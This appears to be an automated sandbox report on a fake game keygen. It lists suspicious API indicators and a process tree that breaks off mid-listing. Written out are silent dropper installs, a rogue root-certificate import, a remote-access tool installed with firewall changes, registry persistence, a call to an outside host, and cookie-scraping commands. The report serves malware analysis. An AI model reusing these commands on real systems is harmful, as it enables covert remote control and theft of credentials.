pid Process 2964 setups.exe 1572 setups.tmp 4184 MicrosoftEdge.exe 4596 MicrosoftEdgeCP.exe 4596 MicrosoftEdgeCP.exe 3956 cpyrix.exe 5024 Setup3310.exe 1132 vict.exe 2968 2xvuwim2bcs.exe 5260 Setup3310.tmp 5276 vpn.exe 5300 2xvuwim2bcs.tmp 5336 vict.tmp 5416 vpn.tmp 5508 IBInstaller_97039.exe 5608 IBInstaller_97039.tmp 2564 win1host.exe 3904 winlthsth.exe 5588 Setup.exe 3932 hjjgaa.exe 2464 RunWW.exe 5248 jg7_7wjg.exe 6104 LabPicV3.exe 5960 lylal220.exe 688 LabPicV3.tmp 5552 guihuali-game.exe 4624 lylal220.tmp 3548 22.exe 5304 jfiag3g_gg.exe 1612 jfiag3g_gg.exe 4960 setups.exe 4724 setups.tmp 5928 tapinstall.exe 4348 svchost.exe 5216 irecord.exe 2472 irecord.tmp 5620 Conhost.exe 188 vpn.exe 3928 MicrosoftEdge.exe 4400 vict.exe 6084 Setup3310.exe 1220 vpn.tmp 4860 Setup3310.tmp 5696 vict.tmp 5800 win1host.exe 5496 Setup.exe 6248 MicrosoftEdgeCP.exe 7120 mask_svc.exe 5176 servs.exe 5532 gZIQEuDhl.exe 5036 servs.tmp 6652 client32.exe 2544 mask_svc.exe 1628 pass.exe 5400 pass.tmp 5268 MicrosoftEdge.exe 4300 CertMgr.Exe 800 MicrosoftEdgeCP.exe 5852 rutserv.exe 5852 rutserv.exe 5852 rutserv.exe 5852 rutserv.exe 5852 rutserv.exe 4932 rutserv.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 360 wrote to memory of 2896 360 Big_Buck_Hunter_Pro_v3_0_10_keygen_by_Inferno.exe 78 PID 360 wrote to memory of 2896 360 Big_Buck_Hunter_Pro_v3_0_10_keygen_by_Inferno.exe 78 PID 360 wrote to memory of 2896 360 Big_Buck_Hunter_Pro_v3_0_10_keygen_by_Inferno.exe 78 PID 2896 wrote to memory of 1412 2896 cmd.exe 81 PID 2896 wrote to memory of 1412 2896 cmd.exe 81 PID 2896 wrote to memory of 1412 2896 cmd.exe 81 PID 2896 wrote to memory of 1128 2896 cmd.exe 82 PID 2896 wrote to memory of 1128 2896 cmd.exe 82 PID 2896 wrote to memory of 1128 2896 cmd.exe 82 PID 2896 wrote to memory of 2136 2896 cmd.exe 83 PID 2896 wrote to memory of 2136 2896 cmd.exe 83 PID 2896 wrote to memory of 2136 2896 cmd.exe 83 PID 2896 wrote to memory of 3972 2896 cmd.exe 84 PID 2896 wrote to memory of 3972 2896 cmd.exe 84 PID 2896 wrote to memory of 3972 2896 cmd.exe 84 PID 1412 wrote to memory of 1640 1412 keygen-pr.exe 85 PID 1412 wrote to memory of 1640 1412 keygen-pr.exe 85 PID 1412 wrote to memory of 1640 1412 keygen-pr.exe 85 PID 3972 wrote to memory of 2588 3972 keygen-step-4.exe 86 PID 3972 wrote to memory of 2588 3972 keygen-step-4.exe 86 PID 2136 wrote to memory of 2252 2136 keygen-step-3.exe 87 PID 2136 wrote to memory of 2252 2136 keygen-step-3.exe 87 PID 2136 wrote to memory of 2252 2136 keygen-step-3.exe 87 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 1640 wrote to memory of 4068 1640 key.exe 89 PID 2252 wrote to memory of 2560 2252 cmd.exe 91 PID 2252 wrote to memory of 2560 2252 cmd.exe 91 PID 2252 wrote to memory of 2560 2252 cmd.exe 91 PID 2588 wrote to memory of 640 2588 Setup.exe 92 PID 2588 wrote to memory of 640 2588 Setup.exe 92 PID 2588 wrote to memory of 2964 2588 Setup.exe 93 PID 2588 wrote to memory of 2964 2588 Setup.exe 93 PID 2588 wrote to memory of 2964 2588 Setup.exe 93 PID 2964 wrote to memory of 1572 2964 setups.exe 94 PID 2964 wrote to memory of 1572 2964 setups.exe 94 PID 2964 wrote to memory of 1572 2964 setups.exe 94 PID 3972 wrote to memory of 1608 3972 keygen-step-4.exe 95 PID 3972 wrote to memory of 1608 3972 keygen-step-4.exe 95 PID 3972 wrote to memory of 1608 3972 keygen-step-4.exe 95 PID 1608 wrote to memory of 4128 1608 askinstall20.exe 98 PID 1608 wrote to memory of 4128 1608 askinstall20.exe 98 PID 1608 wrote to memory of 4128 1608 askinstall20.exe 98 PID 4128 wrote to memory of 4208 4128 cmd.exe 101 PID 4128 wrote to memory of 4208 4128 cmd.exe 101 PID 4128 wrote to memory of 4208 4128 cmd.exe 101 PID 640 wrote to memory of 4584 640 multitimer.exe 285 PID 640 wrote to memory of 4584 640 multitimer.exe 285 PID 4584 wrote to memory of 4708 4584 WerFault.exe 107 PID 4584 wrote to memory of 4708 4584 WerFault.exe 107 PID 3972 wrote to memory of 4772 3972 keygen-step-4.exe 108 PID 3972 wrote to memory of 4772 3972 keygen-step-4.exe 108 -
Views/modifies file attributes 1 TTPs 3 IoCs
pid Process 5824 attrib.exe 4668 attrib.exe 7248 attrib.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1040
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1140
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1300
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1188
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2552
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2440
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
- Suspicious use of SetThreadContext
PID:2432 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Checks processor information in registry
PID:4948
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
- Checks processor information in registry
PID:4136
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2224
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2200
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1860
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:892 -
C:\Users\Admin\AppData\Roaming\asvggcvC:\Users\Admin\AppData\Roaming\asvggcv2⤵PID:8584
-
C:\Users\Admin\AppData\Roaming\asvggcvC:\Users\Admin\AppData\Roaming\asvggcv3⤵PID:2068
-
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:356
-
C:\Users\Admin\AppData\Local\Temp\Big_Buck_Hunter_Pro_v3_0_10_keygen_by_Inferno.exe"C:\Users\Admin\AppData\Local\Temp\Big_Buck_Hunter_Pro_v3_0_10_keygen_by_Inferno.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:360 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1412 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1640 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
- Executes dropped EXE
PID:4068
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
PID:1128
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2136 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
PID:2560
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3972 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2588 -
C:\Users\Admin\AppData\Local\Temp\88IDWWMGQX\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\88IDWWMGQX\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Drops file in Windows directory
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Users\Admin\AppData\Local\Temp\88IDWWMGQX\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\88IDWWMGQX\multitimer.exe" 1 3.1617560612.606a0424d5aac 1016⤵PID:4584
-
C:\Users\Admin\AppData\Local\Temp\88IDWWMGQX\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\88IDWWMGQX\multitimer.exe" 2 3.1617560612.606a0424d5aac7⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Suspicious use of AdjustPrivilegeToken
PID:4708 -
C:\Users\Admin\AppData\Local\Temp\djwejkbuoj0\2xvuwim2bcs.exe"C:\Users\Admin\AppData\Local\Temp\djwejkbuoj0\2xvuwim2bcs.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2968 -
C:\Users\Admin\AppData\Local\Temp\is-NA6JJ.tmp\2xvuwim2bcs.tmp"C:\Users\Admin\AppData\Local\Temp\is-NA6JJ.tmp\2xvuwim2bcs.tmp" /SL5="$801EA,2592217,780800,C:\Users\Admin\AppData\Local\Temp\djwejkbuoj0\2xvuwim2bcs.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:5300 -
C:\Users\Admin\AppData\Local\Temp\is-DM78N.tmp\winlthsth.exe"C:\Users\Admin\AppData\Local\Temp\is-DM78N.tmp\winlthsth.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3904
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\mpx25mrvero\vict.exe"C:\Users\Admin\AppData\Local\Temp\mpx25mrvero\vict.exe" /VERYSILENT /id=5358⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1132 -
C:\Users\Admin\AppData\Local\Temp\is-HELL0.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-HELL0.tmp\vict.tmp" /SL5="$202EC,870426,780800,C:\Users\Admin\AppData\Local\Temp\mpx25mrvero\vict.exe" /VERYSILENT /id=5359⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:5336 -
C:\Users\Admin\AppData\Local\Temp\is-R9DJ3.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-R9DJ3.tmp\win1host.exe" 53510⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2564 -
C:\Users\Admin\AppData\Local\Temp\gZIQEuDhl.exe"C:\Users\Admin\AppData\Local\Temp\gZIQEuDhl.exe"11⤵
- Suspicious use of SetWindowsHookEx
PID:5532
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\5za5qb353w3\app.exe"C:\Users\Admin\AppData\Local\Temp\5za5qb353w3\app.exe" /8-238⤵
- Executes dropped EXE
PID:5180 -
C:\Users\Admin\AppData\Local\Temp\5za5qb353w3\app.exe"C:\Users\Admin\AppData\Local\Temp\5za5qb353w3\app.exe" /8-239⤵
- Modifies data under HKEY_USERS
PID:5476
-
-
-
C:\Users\Admin\AppData\Local\Temp\ph1rdmrn4ws\vpn.exe"C:\Users\Admin\AppData\Local\Temp\ph1rdmrn4ws\vpn.exe" /silent /subid=4828⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5276 -
C:\Users\Admin\AppData\Local\Temp\is-QJ5QN.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-QJ5QN.tmp\vpn.tmp" /SL5="$20204,15170975,270336,C:\Users\Admin\AppData\Local\Temp\ph1rdmrn4ws\vpn.exe" /silent /subid=4829⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:5416 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "10⤵PID:4152
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090111⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:5928
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "10⤵PID:2496
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090111⤵PID:4348
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall10⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:7120
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install10⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:2544
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\xkuznxwzxs2\crj50hajxos.exe"C:\Users\Admin\AppData\Local\Temp\xkuznxwzxs2\crj50hajxos.exe" /ustwo INSTALL8⤵
- Executes dropped EXE
PID:4808 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "crj50hajxos.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\xkuznxwzxs2\crj50hajxos.exe" & exit9⤵PID:5856
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "crj50hajxos.exe" /f10⤵
- Kills process with taskkill
PID:5492
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\shqetruf51b\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\shqetruf51b\Setup3310.exe" /Verysilent /subid=5778⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5024
-
-
C:\Users\Admin\AppData\Local\Temp\owf0422p3pb\qbdtl32ttzw.exe"C:\Users\Admin\AppData\Local\Temp\owf0422p3pb\qbdtl32ttzw.exe"8⤵
- Executes dropped EXE
PID:420 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\owf0422p3pb\qbdtl32ttzw.exe"9⤵PID:5896
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 300010⤵
- Runs ping.exe
PID:6096
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\sd30ieejq41\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\sd30ieejq41\cpyrix.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3956 -
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:5944 -
C:\Users\Admin\AppData\Roaming\1.exe"{path}"10⤵
- Executes dropped EXE
PID:3172
-
-
C:\Users\Admin\AppData\Roaming\1.exe"{path}"10⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2380
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4832 -
C:\Users\Admin\AppData\Roaming\2.exe"{path}"10⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
PID:4744 -
C:\Users\Admin\AppData\Local\Temp\servs.exe"C:\Users\Admin\AppData\Local\Temp\servs.exe"11⤵
- Suspicious use of SetWindowsHookEx
PID:5176 -
C:\Users\Admin\AppData\Local\Temp\is-RBF3F.tmp\servs.tmp"C:\Users\Admin\AppData\Local\Temp\is-RBF3F.tmp\servs.tmp" /SL5="$4021A,10541093,724480,C:\Users\Admin\AppData\Local\Temp\servs.exe"12⤵
- Suspicious use of SetWindowsHookEx
PID:5036 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /C ""C:\ProgramData\uacwev.bat""13⤵PID:7132
-
C:\Windows \System32\PasswordOnWakeSettingFlyout.exe"C:\Windows \System32\PasswordOnWakeSettingFlyout.exe"14⤵PID:6868
-
C:\ProgramData\pass.exeC:\ProgramData\pass.exe15⤵
- Suspicious use of SetWindowsHookEx
PID:1628 -
C:\Users\Admin\AppData\Local\Temp\is-8DSHA.tmp\pass.tmp"C:\Users\Admin\AppData\Local\Temp\is-8DSHA.tmp\pass.tmp" /SL5="$40212,9506241,724480,C:\ProgramData\pass.exe"16⤵
- Suspicious use of SetWindowsHookEx
PID:5400 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "regedit /s C:\ProgramData\Immunity\ses.reg"17⤵PID:6628
-
C:\Windows\regedit.exeregedit /s C:\ProgramData\Immunity\ses.reg18⤵
- Runs .reg file with regedit
PID:5956
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /C ""C:\ProgramData\Immunity\install.cmd""17⤵PID:3184
-
C:\ProgramData\Immunity\CertMgry\CertMgr.Execertmgr.exe -add -c Sert.cer -s -r localMachine Root18⤵
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
PID:4300
-
-
C:\ProgramData\Immunity\rutserv.exe"rutserv.exe" /silentinstall18⤵
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
PID:5852
-
-
C:\ProgramData\Immunity\rutserv.exe"rutserv.exe" /firewall18⤵
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
PID:4932
-
-
C:\ProgramData\Immunity\rutserv.exe"rutserv.exe" /start18⤵PID:7160
-
-
-
-
-
-
C:\Windows\system32\timeout.exeTIMEOUT /T 814⤵
- Delays execution with timeout.exe
PID:4308
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\r3t2umstcm5\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\r3t2umstcm5\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5508 -
C:\Users\Admin\AppData\Local\Temp\is-4H7H8.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-4H7H8.tmp\IBInstaller_97039.tmp" /SL5="$202F6,14575146,721408,C:\Users\Admin\AppData\Local\Temp\r3t2umstcm5\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:5608 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-32PFB.tmp\{app}\microsoft.cab -F:* %ProgramData%10⤵PID:6000
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-32PFB.tmp\{app}\microsoft.cab -F:* C:\ProgramData11⤵
- Drops file in Windows directory
PID:6132
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://egypthistoricart.online/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039^¶m=10⤵
- Checks computer location settings
PID:6660
-
-
C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"10⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:6652
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\client32.exe" /f10⤵PID:6640
-
-
C:\Users\Admin\AppData\Local\Temp\is-32PFB.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-32PFB.tmp\{app}\chrome_proxy.exe"10⤵PID:1224
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2xbq5j2mljx\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\2xbq5j2mljx\cpyrix.exe" /VERYSILENT8⤵PID:5980
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe9⤵
- Suspicious use of SetThreadContext
PID:376 -
C:\Users\Admin\AppData\Roaming\1.exe"{path}"10⤵PID:7536
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe9⤵
- Suspicious use of SetThreadContext
PID:6440 -
C:\Users\Admin\AppData\Roaming\2.exe"{path}"10⤵PID:8016
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\unh0v0hlsvw\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\unh0v0hlsvw\Setup3310.exe" /Verysilent /subid=5778⤵PID:2864
-
C:\Users\Admin\AppData\Local\Temp\is-ULOQ9.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-ULOQ9.tmp\Setup3310.tmp" /SL5="$B03DC,138429,56832,C:\Users\Admin\AppData\Local\Temp\unh0v0hlsvw\Setup3310.exe" /Verysilent /subid=5779⤵PID:3864
-
C:\Users\Admin\AppData\Local\Temp\is-V8NIG.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-V8NIG.tmp\Setup.exe" /Verysilent10⤵
- Drops file in Program Files directory
PID:3276 -
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"11⤵PID:1972
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵PID:4660
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵PID:7748
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵PID:4716
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"11⤵PID:976
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 96412⤵
- Program crash
PID:3936
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 96812⤵
- Program crash
PID:4444
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 105612⤵
- Program crash
PID:5908
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 102812⤵
- Program crash
PID:7344
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 117612⤵
- Program crash
PID:4212
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 119612⤵
- Program crash
PID:6008
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 151612⤵
- Program crash
PID:7060
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 153612⤵
- Program crash
PID:5900
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 175212⤵
- Program crash
PID:7388
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 152012⤵
- Program crash
PID:5632
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 169612⤵
- Program crash
PID:4776
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 182012⤵
- Program crash
PID:2852
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 181612⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:4840
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"11⤵PID:4316
-
C:\Users\Admin\AppData\Local\Temp\is-60K57.tmp\LabPicV3.tmp"C:\Users\Admin\AppData\Local\Temp\is-60K57.tmp\LabPicV3.tmp" /SL5="$3057A,239334,155648,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"12⤵PID:6808
-
C:\Users\Admin\AppData\Local\Temp\is-AU5EM.tmp\ppppppfy.exe"C:\Users\Admin\AppData\Local\Temp\is-AU5EM.tmp\ppppppfy.exe" /S /UID=lab21413⤵
- Drops file in Drivers directory
PID:5516 -
C:\Users\Admin\AppData\Local\Temp\18-aac1c-fbb-42abf-05c775ccbfa81\Mifizhaezhelae.exe"C:\Users\Admin\AppData\Local\Temp\18-aac1c-fbb-42abf-05c775ccbfa81\Mifizhaezhelae.exe"14⤵PID:7300
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0yl4ckxu.gse\md6_6ydj.exe & exit15⤵PID:5092
-
C:\Users\Admin\AppData\Local\Temp\0yl4ckxu.gse\md6_6ydj.exeC:\Users\Admin\AppData\Local\Temp\0yl4ckxu.gse\md6_6ydj.exe16⤵
- Checks whether UAC is enabled
PID:2632
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jjp2qk3l.srw\askinstall31.exe & exit15⤵PID:7320
-
C:\Users\Admin\AppData\Local\Temp\jjp2qk3l.srw\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\jjp2qk3l.srw\askinstall31.exe16⤵PID:6816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\afqkj1ce.2eh\toolspab1.exe & exit15⤵PID:7236
-
C:\Users\Admin\AppData\Local\Temp\afqkj1ce.2eh\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\afqkj1ce.2eh\toolspab1.exe16⤵
- Suspicious use of SetThreadContext
PID:3168 -
